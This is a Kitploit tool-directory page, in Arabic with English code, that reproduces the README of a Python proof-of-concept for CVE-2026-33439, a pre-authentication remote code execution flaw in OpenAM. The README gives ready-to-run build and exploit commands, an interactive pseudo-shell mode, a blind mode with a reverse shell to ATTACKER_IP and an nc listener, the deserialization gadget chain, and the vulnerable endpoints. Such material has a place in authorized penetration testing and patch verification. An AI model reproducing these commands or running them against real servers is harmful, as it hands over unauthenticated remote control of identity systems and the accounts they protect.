Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-33439-PoC — Python PoC يستغل CVE-2026-33439، وهو RCE قبل المصادقة في OpenAM عبر إلغاء تسلسل Java لمعامل jato.clientSession، مع أوضاع shell تفاعلية وعميقة. | Kitploit
أدوات/GitHubGitHub/jonaschen0103/cve-2026-33439-poc
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرأداة الوصول عن بعد
GitHub

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
jonaschen0103/cve-2026-33439-poc

CVE-2026-33439-PoC

Python PoC يستغل CVE-2026-33439، وهو RCE قبل المصادقة في OpenAM عبر إلغاء تسلسل Java لمعامل jato.clientSession، مع أوضاع shell تفاعلية وعميقة.

عرض المستودع
178منذ 20 أياملم تتم المراجعة بعد
مشاركة

CVE-2026-33439 — تنفيذ تعليمات برمجية عن بُعد قبل المصادقة في OpenAM

تنفيذ تعليمات برمجية عن بُعد قبل المصادقة في OpenIdentityPlatform OpenAM <= 16.0.5 عبر إلغاء تسلسل Java غير الآمن للمعامل jato.clientSession (CVSS 9.8).

لاختبارات الأمان المصرّح بها فقط.

البدء السريع

# 1. Build payload (downloads JARs from Maven Central + compiles gadget chain)
python build.py

# 2. Exploit — interactive shell (output returned in HTTP response)
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell

المتطلبات

  • Python 3.10+ (المكتبة القياسية فقط، بدون pip install)
  • JDK 21 (من أجل build.py — يجب أن يتطابق مع إصدار JVM الخاص بالخادم الهدف؛ JDK 25 ينتج كائنات مُسلسلة غير متوافقة)

وضعان

الوضع التفاعلي (افتراضي) — الإخراج في استجابة HTTP

يقرأ EvilTranslet ترويسة cmd من الطلب، وينفذها، ويكتب stdout مباشرة إلى استجابة HTTP. لا حاجة إلى مستمع.

# Build interactive payload (no --command flag)
python build.py

# Single command
python exploit.py --url https://target/openam/ui/PWResetUserValidation "whoami"

# Interactive pseudo-shell
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell

# Auto-detect endpoint from base URL
python exploit.py --url https://target/openam/ --probe --shell

الوضع الأعمى — للـ reverse shells / OOB

يتم تضمين الأمر داخل bytecode الخاص بـ EvilTranslet. لا يتم إرجاع أي إخراج؛ استخدم مستمعًا (nc، إلخ) لالتقاط الاستدعاءات.

# Build blind payload with reverse shell command
python build.py --command "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# Terminal 1: listener
nc -lvnp 4444

# Terminal 2: deliver to all JATO endpoints
python exploit.py --url https://target/openam/ --all

جميع الخيارات

build.py

الخيارالوصف
(بدون خيارات)بناء payload تفاعلي (يقرأ ترويسة cmd في وقت التشغيل)
--command "CMD"بناء payload أعمى مع تضمين CMD داخل bytecode
--jars DIRاستخدام دليل JARs محلي بدلاً من التنزيل (افتراضي: ./libs)
--download-onlyتنزيل JARs فقط، دون ترجمة

exploit.py

الخيارالوصف
--url URLعنوان URL الهدف (مطلوب) — نقطة نهاية كاملة أو عنوان URL أساسي مع --probe/--all
--shellpseudo-shell تفاعلي (الوضع التفاعلي)
--probeالكشف التلقائي عن نقطة النهاية القابلة للاستغلال من عنوان URL الأساسي
--allإرسال payload إلى جميع نقاط نهاية JATO (الوضع الأعمى)
--method GET|POSTطريقة إرسال HTTP (افتراضي: GET)
--proxy URLوكيل HTTP (مثل http://127.0.0.1:8080 لـ Burp)
--timeout SECSمهلة الطلب (افتراضي: 15)
--verify-tlsتمكين التحقق من شهادة TLS
--debugإظهار تفاصيل الطلب/الاستجابة

شفافية الـ Payload

جميع الشيفرة المصدرية موجودة في المستودع — لا توجد كتل غامضة. تم تضمين مصادر Java في build.py كثوابت نصية قابلة للقراءة. بعد البناء، تحقق من الإخراج:

python verify.py              # summary: classes, integrity, red-flag scan
python verify.py --strings    # all printable strings in the payload
python verify.py --hexdump    # full hex dump
python verify.py --dump p.bin # export raw bytes for SerializationDumper / javap

سلسلة الـ Gadget

PriorityQueue.readObject()
  -> heapify() -> Column$ColumnComparator.compare()
    -> Column.getTable().isSortedAscending()
    -> Column.getProperty() -> PropertyUtils.getObjectPropertyValue()
      -> TemplatesImpl.getOutputProperties()
        -> defineTransletClasses() -> newInstance()
          -> EvilTranslet.<clinit>()  // command executes here

EvilTranslet (الوضع التفاعلي)

  1. Thread.currentThread().getContextClassLoader().loadClass("com.iplanet.jato.RequestManager") — الحصول على طلب/استجابة HTTP عبر classloader الخاص بتطبيق الويب
  2. request.getHeader("cmd") — قراءة الأمر
  3. new ProcessBuilder("/bin/sh", "-c", cmd) — التنفيذ
  4. response.reset() — مسح أي إخراج JSP سابق
  5. كتابة stdout إلى الاستجابة كـ text/plain، ثم إغلاق تدفق الإخراج

EvilTranslet (الوضع الأعمى)

  1. Runtime.getRuntime().exec(new String[]{"bash", "-c", "<baked-in command>"}) — أطلق وانسَ

نقاط النهاية القابلة للاستغلال

أي نقطة نهاية JATO ViewBean تعرض وسوم <jato:form>، يمكن الوصول إليها قبل المصادقة:

نقطة النهايةملاحظات
/openam/ui/PWResetUserValidationإعادة تعيين كلمة المرور (الأكثر موثوقية)
/openam/ui/PWResetQuestionأسئلة الأمان لإعادة تعيين كلمة المرور
/openam/ui/Loginصفحة تسجيل الدخول

استكشاف الأخطاء وإصلاحها

العَرَضالسببالحل
إرجاع صفحة HTML بدلاً من إخراج الأمرJSP يستبدل الاستجابةاستخدم --shell مع payload تفاعلي؛ أو انتقل إلى الوضع الأعمى
إلغاء التسلسل لا يتم تفعيلهعدم تطابق إصدار JDKأعد البناء باستخدام JDK 21: export JAVA_HOME=/path/to/jdk-21
مهلة مصافحة TLSالخادم يتطلب اسم مضيف SNIأضف الهدف إلى /etc/hosts واستخدم اسم المضيف، وليس IP
javac غير موجودJDK غير مثبتapt install openjdk-21-jdk

المراجع

  • NVD — CVE-2026-33439
  • OpenAM Advisory GHSA-2cqq-rpvq-g5qj
  • Broadcom Protection Bulletin

الترخيص

MIT

تنزيل الأداة